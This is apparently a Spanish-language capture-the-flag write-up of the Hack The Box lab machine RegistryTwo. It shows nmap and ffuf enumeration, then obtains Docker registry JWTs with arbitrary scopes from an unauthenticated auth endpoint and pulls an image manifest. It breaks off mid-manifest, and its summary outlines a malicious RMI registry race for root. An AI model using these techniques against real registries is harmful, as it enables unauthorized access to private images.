RegistryTwo
42 minutos de lectura
developer
, que se reutiliza en SSH. Luego, root
ejecuta un archivo JAR para analizar archivos del sitio web de hosting enviándolos a un servidor ClamAV. El problema aquí es que el JAR llama a las funciones del registro RMI, que se reinicia periódicamente. Por lo tanto, podemos elaborar un registro de RMI malicioso y una explotación para ganar una condición de carrera y ocupar el puerto, de modo que root
consulte nuestro servidor ClamAV falso. El resultado será que todos los archivos en /root
se pondrán en cuarentena dentro de un directorio legible, lo cual conduce a la escalada de privilegios- SO: Linux
- Dificultad: Insana
- Dirección IP: 10.10.11.223
- Fecha: 22 / 07 / 2023
Escaneo de puertos
# Nmap 7.94 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.223 -p 22,443,5000,5001
Nmap scan report for 10.10.11.223
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fa:b0:03:98:7e:60:c2:f3:11:82:27:a1:35:77:9f:d3 (RSA)
| 256 f2:59:06:dc:33:b0:9f:a3:5e:b7:63:ff:61:35:9d:c5 (ECDSA)
|_ 256 e3:ac:ab:ea:2b:d6:8e:f4:1f:b0:7b:05:0a:69:a5:37 (ED25519)
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to https://www.webhosting.htb/
| ssl-cert: Subject: organizationName=free-hosting/stateOrProvinceName=Berlin/countryName=DE
| Not valid before: 2023-02-01T20:19:22
|_Not valid after: 2024-02-01T20:19:22
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.14.0 (Ubuntu)
5000/tcp open ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: commonName=*.webhosting.htb/organizationName=Acme, Inc./stateOrProvinceName=GD/countryName=CN
| Subject Alternative Name: DNS:webhosting.htb, DNS:webhosting.htb
| Not valid before: 2023-03-26T21:32:06
|_Not valid after: 2024-03-25T21:32:06
|_http-title: Site doesn't have a title.
5001/tcp open ssl/commplex-link?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=*.webhosting.htb/organizationName=Acme, Inc./stateOrProvinceName=GD/countryName=CN
| Subject Alternative Name: DNS:webhosting.htb, DNS:webhosting.htb
| Not valid before: 2023-03-26T21:32:06
|_Not valid after: 2024-03-25T21:32:06
| tls-alpn:
| h2
|_ http/1.1
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Tue, 25 Jul 2023 22:08:16 GMT
| Content-Length: 10
| found
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=utf-8
| Date: Tue, 25 Jul 2023 22:07:49 GMT
| Content-Length: 26
|_ <h1>Acme auth server</h1>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 108.34 seconds
La máquina tiene abiertos los puertos 22 (SSH), 443 (HTTPS), 5000 y 5001.
Enumeración
Si vamos a https://10.10.11.223
, se nos redirige a https://www.webhosting.htb
. Después de añadir webhosting.htb
y www.webhosting.htb
en /etc/hosts
, veremos esta página web:
Registremos una cuenta:
Y luego iniciamos sesión:
Muy bien, tenemos acceso a nuestro perfil:
Podemos notar que se nos da una cookie llamada JSESSIONID
, lo que indica que el servidor web está ejecutando Java (probablemente Tomcat, ya que la imagen de la máquina muestra un gato que sostiene una taza de café):
Aquí tenemos la capacidad de crear dominios y archivos HTML:
Podemos ir a nuestro perfil y probar el dominio (después de ingresar el dominio en /etc/hosts
):
Registro de Docker
Vamos a analizar los otros puertos de momento. En el puerto 5001 encontramos Acme auth server
:
$ curl -k https://10.10.11.223:5001
<h1>Acme auth server</h1>
Aplicamos fuzzing para enumerar más rutas:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u https://10.10.11.223:5001/FUZZ -k
[Status: 200, Size: 1330, Words: 1, Lines: 1, Duration: 45ms]
* FUZZ: auth
:: Progress: [43007/43007] :: Job [1/1] :: 1005 req/sec :: Duration: [0:00:41] :: Errors: 0 ::
Muy bien, tenemos otro endpoint, que muestra un token JWT (ambos campos token
y access_token
tienen el mismo valor):
Si aplicamos fuzzing, veremos que esto es un registro de Docker:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u https://10.10.11.223:5000/FUZZ -k
[Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 36ms]
* FUZZ: .
[Status: 301, Size: 39, Words: 3, Lines: 3, Duration: 36ms]
* FUZZ: v2
:: Progress: [43007/43007] :: Job [1/1] :: 1025 req/sec :: Duration: [0:00:41] :: Errors: 0 ::
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u https://10.10.11.223:5000/v2/FUZZ -k
[Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 37ms]
* FUZZ: .
[Status: 401, Size: 145, Words: 2, Lines: 2, Duration: 40ms]
* FUZZ: _catalog
:: Progress: [43007/43007] :: Job [1/1] :: 1169 req/sec :: Duration: [0:00:41] :: Errors: 0 ::
Si intentamos acceder a /v2/_catalog
obtendremos un error de autenticación/autorización:
$ curl -k https://10.10.11.223:5000/v2/_catalog
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
Incluso si especificamos el token JWT en la cabecera Authorization
, obtenemos el mismo error:
$ curl -k https://10.10.11.223:5000/v2/_catalog -iH 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiIiwiZXhwIjoxNjkwMzI1NjIzLCJuYmYiOjE2OTAzMjQ3MTMsImlhdCI6MTY5MDMyNDcyMywianRpIjoiMjg0MDQzMTczMjI1NjAxNDEzNyIsImFjY2VzcyI6W119.gLTb6ZMTD3P_dG437Na6vlQ7wh4OqOv76KsAY2uNUV0x0cfNn947M2k763lk5slLWYeuea73HCgv6AThTucSBnPJDzwIGBuF43wQLJ9_ycLsu0QCxEwkC6blh2k7d3n4PfVxhObchvaV1Qx_GtjIM_95tCH4pzQaZMMOPSfGGkNRv7LEsDK65mE6VDJL3IOLPkCqrUUMxeM-SZsSfe_A6sclCk8_QIrAHUQPntAQgzhA-u5vjx8ocrAewl6WVVXfu6rYc1bWegFlkR2DS-bjhhsHksX1Fmc_Ws5HuG2nq5vekiAgShKF4LP2dwOxoNozU1UQA1u4hYcdCadh0YWcpw'
HTTP/2 401
content-type: application/json; charset=utf-8
docker-distribution-api-version: registry/2.0
www-authenticate: Bearer realm="https://webhosting.htb:5001/auth",service="Docker registry",scope="registry:catalog:*",error="invalid_token"
x-content-type-options: nosniff
content-length: 145
date: Tue, 25 Jul 2023 22:42:20 GMT
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
El token JWT contiene esta información (tomada de jwt.io):
Docker también proporciona autenticación con JWT. Además, mirando el token JWT anterior, podemos ver que no tenemos permisos para acceder a nada. En la documentación de Docker, encontramos:
The Claim Set will also contain a private claim name unique to this authorization server specification:
access
: An array of access entry objects with the following fields:
type
: The type of resource hosted by the service.
name
: The name of the resource of the given type hosted by the service.
actions
: An array of strings which give the actions authorized on this resource.
Mirando de nuevo la documentación de Docker, encontramos una manera de obtener un token JWT con un alcance dado:
https://auth.docker.io/token?service=registry.docker.io&scope=repository:samalba/my-app:pull,push
Al comparar la petición anterior con el error que recibimos, podemos construir con éxito esta petición para obtener un token JWT mejor:
$ curl -k 'https://10.10.11.223:5001/auth?service=Docker+registry&scope=registry:catalog:*'
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI4NzI0LCJuYmYiOjE2OTAzMjc4MTQsImlhdCI6MTY5MDMyNzgyNCwianRpIjoiMjczNjY0ODcxMTIyNzI1MTQ0OCIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.qjEAM2X68R_lKM0G0RETWvpXIuDxPiVZeOpZgtRml7GPFGCkSSed_6YaPkypIjSYlWNi_kUHTRQWN9H5iaFL9NsD8mnzPuuxrnmlA30rtn8DEkdNZqUFsmJf-Do-1a6aC6jNSopPBKz-WpOHrCrBnQQav3AAv0L0CauK-r-rwFmYCTx30DmjkWA7JGFHWLXCUDL66lK74tzFiJM0xtd5XrLInPUZ6p9wD6ZLki967QHiS9lUQ7vFmPxkwTAJsNd_fCbUsh7FeEnkiMkXSYtQs9TglaluGrp9WB7J3koZ9qya3p7Bf93Br0XdbmJdoaFWJWgHz8mcwoAtHZNQg84BmA","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI4NzI0LCJuYmYiOjE2OTAzMjc4MTQsImlhdCI6MTY5MDMyNzgyNCwianRpIjoiMjczNjY0ODcxMTIyNzI1MTQ0OCIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.qjEAM2X68R_lKM0G0RETWvpXIuDxPiVZeOpZgtRml7GPFGCkSSed_6YaPkypIjSYlWNi_kUHTRQWN9H5iaFL9NsD8mnzPuuxrnmlA30rtn8DEkdNZqUFsmJf-Do-1a6aC6jNSopPBKz-WpOHrCrBnQQav3AAv0L0CauK-r-rwFmYCTx30DmjkWA7JGFHWLXCUDL66lK74tzFiJM0xtd5XrLInPUZ6p9wD6ZLki967QHiS9lUQ7vFmPxkwTAJsNd_fCbUsh7FeEnkiMkXSYtQs9TglaluGrp9WB7J3koZ9qya3p7Bf93Br0XdbmJdoaFWJWgHz8mcwoAtHZNQg84BmA"}
$ curl -k https://webhosting.htb:5000/v2/_catalog -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI4NzI0LCJuYmYiOjE2OTAzMjc4MTQsImlhdCI6MTY5MDMyNzgyNCwianRpIjoiMjczNjY0ODcxMTIyNzI1MTQ0OCIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.qjEAM2X68R_lKM0G0RETWvpXIuDxPiVZeOpZgtRml7GPFGCkSSed_6YaPkypIjSYlWNi_kUHTRQWN9H5iaFL9NsD8mnzPuuxrnmlA30rtn8DEkdNZqUFsmJf-Do-1a6aC6jNSopPBKz-WpOHrCrBnQQav3AAv0L0CauK-r-rwFmYCTx30DmjkWA7JGFHWLXCUDL66lK74tzFiJM0xtd5XrLInPUZ6p9wD6ZLki967QHiS9lUQ7vFmPxkwTAJsNd_fCbUsh7FeEnkiMkXSYtQs9TglaluGrp9WB7J3koZ9qya3p7Bf93Br0XdbmJdoaFWJWgHz8mcwoAtHZNQg84BmA'
{"repositories":["hosting-app"]}
Ahora funciona porque tenemos información en el campo access
dentro del conjunto de Claims del token JWT:
Solo hay un repositorio: hosting-app
. Si intentamos enumerar esto, recibiremos otro error de autorización:
$ curl -k https://10.10.11.223:5000/v2/hosting-app/manifests/v2 -iH 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI4NzI0LCJuYmYiOjE2OTAzMjc4MTQsImlhdCI6MTY5MDMyNzgyNCwianRpIjoiMjczNjY0ODcxMTIyNzI1MTQ0OCIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.qjEAM2X68R_lKM0G0RETWvpXIuDxPiVZeOpZgtRml7GPFGCkSSed_6YaPkypIjSYlWNi_kUHTRQWN9H5iaFL9NsD8mnzPuuxrnmlA30rtn8DEkdNZqUFsmJf-Do-1a6aC6jNSopPBKz-WpOHrCrBnQQav3AAv0L0CauK-r-rwFmYCTx30DmjkWA7JGFHWLXCUDL66lK74tzFiJM0xtd5XrLInPUZ6p9wD6ZLki967QHiS9lUQ7vFmPxkwTAJsNd_fCbUsh7FeEnkiMkXSYtQs9TglaluGrp9WB7J3koZ9qya3p7Bf93Br0XdbmJdoaFWJWgHz8mcwoAtHZNQg84BmA'
HTTP/2 401
content-type: application/json; charset=utf-8
docker-distribution-api-version: registry/2.0
www-authenticate: Bearer realm="https://webhosting.htb:5001/auth",service="Docker registry",scope="repository:hosting-app:pull",error="insufficient_scope"
x-content-type-options: nosniff
content-length: 154
date: Tue, 25 Jul 2023 23:34:08 GMT
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"repository","Class":"","Name":"hosting-app","Action":"pull"}]}]}
Entonces, necesitamos agregar más permisos al token JWT en este alcance:
$ curl -k 'https://10.10.11.223:5001/auth?service=Docker+registry&scope=repository:hosting-app:pull'
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI5MDMwLCJuYmYiOjE2OTAzMjgxMjAsImlhdCI6MTY5MDMyODEzMCwianRpIjoiMjcxMjE4MTkzOTE1OTY2NDI1MiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.gY4JoGWaELk_3AGkatkP-FhjN12UXpm-DfyUTN7jQ7PQcPkxDYi6HUeNBAPmWv4T9BkhITaFJJYgTktyfOc_n-_6lkr_aAN46DOABV2pAEHP7JdhfoVw5tlyt5tYZ6Gh8DZh9KOee8jz6p3ZCFbBE-0d0nAWYAhK-Pi1styVq6mwCUziSILnOWZ8l1s6hiUiGXvMaMACpvgzq70K350i_ozv0ZlqNGkhd6po0LTd0Ves7ICaf2-BaJ7HXMtrliz-JcOLiAPasxKPpojmOVP0vnYyFxKxw6kA-t-i6MMpP-lrCW8ASsxTK7Y_x2bn-A3ZBsM1oINQmpaP0FQero3kuA","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI5MDMwLCJuYmYiOjE2OTAzMjgxMjAsImlhdCI6MTY5MDMyODEzMCwianRpIjoiMjcxMjE4MTkzOTE1OTY2NDI1MiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.gY4JoGWaELk_3AGkatkP-FhjN12UXpm-DfyUTN7jQ7PQcPkxDYi6HUeNBAPmWv4T9BkhITaFJJYgTktyfOc_n-_6lkr_aAN46DOABV2pAEHP7JdhfoVw5tlyt5tYZ6Gh8DZh9KOee8jz6p3ZCFbBE-0d0nAWYAhK-Pi1styVq6mwCUziSILnOWZ8l1s6hiUiGXvMaMACpvgzq70K350i_ozv0ZlqNGkhd6po0LTd0Ves7ICaf2-BaJ7HXMtrliz-JcOLiAPasxKPpojmOVP0vnYyFxKxw6kA-t-i6MMpP-lrCW8ASsxTK7Y_x2bn-A3ZBsM1oINQmpaP0FQero3kuA"}
Esta máquina se llama RegistryTwo, que viene después de Registry, otra máquina de Hack The Box que trataba de un registro de Docker. Aquí se pueden encontrar algunas formas de enumerar registros de Docker. Desde aquí, podemos encontrar la última versión de la imagen hosting-app
y descargar todos los blobs (capas de una imagen de Docker):
$ curl -k https://10.10.11.223:5000/v2/hosting-app/manifests/latest -iH 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI5MDMwLCJuYmYiOjE2OTAzMjgxMjAsImlhdCI6MTY5MDMyODEzMCwianRpIjoiMjcxMjE4MTkzOTE1OTY2NDI1MiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.gY4JoGWaELk_3AGkatkP-FhjN12UXpm-DfyUTN7jQ7PQcPkxDYi6HUeNBAPmWv4T9BkhITaFJJYgTktyfOc_n-_6lkr_aAN46DOABV2pAEHP7JdhfoVw5tlyt5tYZ6Gh8DZh9KOee8jz6p3ZCFbBE-0d0nAWYAhK-Pi1styVq6mwCUziSILnOWZ8l1s6hiUiGXvMaMACpvgzq70K350i_ozv0ZlqNGkhd6po0LTd0Ves7ICaf2-BaJ7HXMtrliz-JcOLiAPasxKPpojmOVP0vnYyFxKxw6kA-t-i6MMpP-lrCW8ASsxTK7Y_x2bn-A3ZBsM1oINQmpaP0FQero3kuA'
HTTP/2 200
content-type: application/vnd.docker.distribution.manifest.v1+prettyjws
docker-content-digest: sha256:9c2f139166919ecdd1942eac8980803d0a6a0136cd0fd86e64c1c0977b4142b8
docker-distribution-api-version: registry/2.0
etag: "sha256:9c2f139166919ecdd1942eac8980803d0a6a0136cd0fd86e64c1c0977b4142b8"
x-content-type-options: nosniff
content-length: 26739
date: Tue, 25 Jul 2023 23:36:31 GMT
{
"schemaVersion": 1,
"name": "hosting-app",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:0bf45c325a696381eea5176baa1c8e84fbf0fe5e2ddf96a22422b10bf879d0ba"
},
{
"blobSum": "sha256:4a19a05f49c2d93e67d7c9ea8ba6c310d6b358e811c8ae37787f21b9ad82ac42"
},
{
"blobSum": "sha256:9e700b74cc5b6f81ed6513fa03c7b6ab11a71deb8e27604632f723f81aca3268"
},
{
"blobSum": "sha256:b5ac54f57d23fa33610cb14f7c21c71aa810e58884090cead5e3119774a202dc"
},
{
"blobSum": "sha256:396c4a40448860471ae66f68c261b9a0ed277822b197730ba89cb50528f042c7"
},
{
"blobSum": "sha256:9d5bcc17fed815c4060b373b2a8595687502925829359dc244dd4cdff777a96c"
},
{
"blobSum": "sha256:ab55eca3206e27506f679b41b39ba0e4c98996fa347326b6629dae9163b4c0ec"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:f7b708f947c32709ecceaffd85287d5eb9916a3013f49c8416228ef22c2bf85e"
},
{
"blobSum": "sha256:497760bf469e19f1845b7f1da9cfe7e053beb57d4908fb2dff2a01a9f82211f9"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e4cc5f625cda9caa32eddae6ac29b170c8dc1102988b845d7ab637938f2f6f84"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:0da484dfb0612bb168b7258b27e745d0febf56d22b8f10f459ed0d1dfe345110"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:7b43ca85cb2c7ccc62e03067862d35091ee30ce83e7fed9e135b1ef1c6e2e71b"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:fa7536dd895ade2421a9a0fcf6e16485323f9e2e45e917b1ff18b0f648974626"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:5de5f69f42d765af6ffb6753242b18dd4a33602ad7d76df52064833e5c527cb4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:ff3a5c916c92643ff77519ffa742d3ec61b7f591b6b7504599d95a4a41134e28"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"app\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"ExposedPorts\":{\"8080/tcp\":{}},\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin\",\"LANG=C.UTF-8\",\"JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jre\",\"JAVA_VERSION=8u151\",\"JAVA_ALPINE_VERSION=8.151.12-r0\",\"CATALINA_HOME=/usr/local/tomcat\",\"TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib\",\"LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib\",\"GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23\",\"TOMCAT_MAJOR=9\",\"TOMCAT_VERSION=9.0.2\",\"TOMCAT_SHA1=b59e1d658a4edbca7a81d12fd6f20203a4da9743\",\"TOMCAT_TGZ_URLS=https://www.apache.org/dyn/closer.cgi?action=download\\u0026filename=tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://www-us.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://www.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://archive.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz\",\"TOMCAT_ASC_URLS=https://www.apache.org/dyn/closer.cgi?action=download\\u0026filename=tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://www-us.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://www.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://archive.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc\"],\"Cmd\":[\"catalina.sh\",\"run\"],\"Image\":\"sha256:57f3a04ba3229928a30942945b0fb3c74bd61cec80cbc5a41d7d61a2d1c3ec4f\",\"Volumes\":null,\"WorkingDir\":\"/usr/local/tomcat\",\"Entrypoint\":null,\"OnBuild\":[],\"Labels\":null},\"container\":\"2f8f037b0e059fa89bc318719f991b783cd3c4b92de4a6776cc5ec3a8530d6ba\",\"container_config\":{\"Hostname\":\"2f8f037b0e05\",\"Domainname\":\"\",\"User\":\"app\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"ExposedPorts\":{\"8080/tcp\":{}},\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin\",\"LANG=C.UTF-8\",\"JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jre\",\"JAVA_VERSION=8u151\",\"JAVA_ALPINE_VERSION=8.151.12-r0\",\"CATALINA_HOME=/usr/local/tomcat\",\"TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib\",\"LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib\",\"GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE 